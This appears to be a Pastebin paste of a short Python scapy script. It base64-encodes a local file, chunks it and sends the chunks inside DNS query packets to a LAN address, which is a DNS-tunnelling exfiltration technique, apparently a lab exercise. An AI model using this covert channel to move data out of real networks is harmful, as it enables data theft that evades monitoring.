Advertisement
Guest User

Untitled

a guest
Apr 21st, 2019
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.90 KB | None | 0 0
  1. #! /usr/bin/python
  2. from time import sleep
  3. from scapy.all import *
  4. from random import randrange
  5. import base64
  6.  
  7. f = open('/home/shay/Downloads/duckjpeg','rb')
  8. st=base64.b64encode(f.read())
  9. f.close()
  10. strlist=[]
  11. if len(st)<=100:
  12. strlist.append(st)
  13. while len(st)>100:
  14. strlist.append(st[:100])
  15. st=st[100:]
  16. if len(st)<100:
  17. strlist.append(st)
  18. num_of_seq=len(strlist)
  19.  
  20.  
  21. def pkt_send(ip,msg,st=None):
  22. l1=IP(dst=ip)
  23. l2=UDP(sport=randrange(4025,59999))
  24. l3=DNS(rd=1,qd=DNSQR(qname=msg))
  25. l4=Raw(load=st)
  26. pkt=l1/l2/l3/l4
  27. # pkt.show()
  28. res=sr(pkt,verbose=1,timeout=3)
  29.  
  30. def send_file(strli):
  31. pkt_send('192.168.1.37',"pre",len(strlist))
  32. pkt_send('192.168.1.37',"start")
  33. print len(strli)
  34. sleep(2)
  35. for i in strli:
  36. pkt_send('192.168.1.37',str(strli.index(i)),i)
  37. print strli.index(i)
  38.  
  39.  
  40. send_file(strlist)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement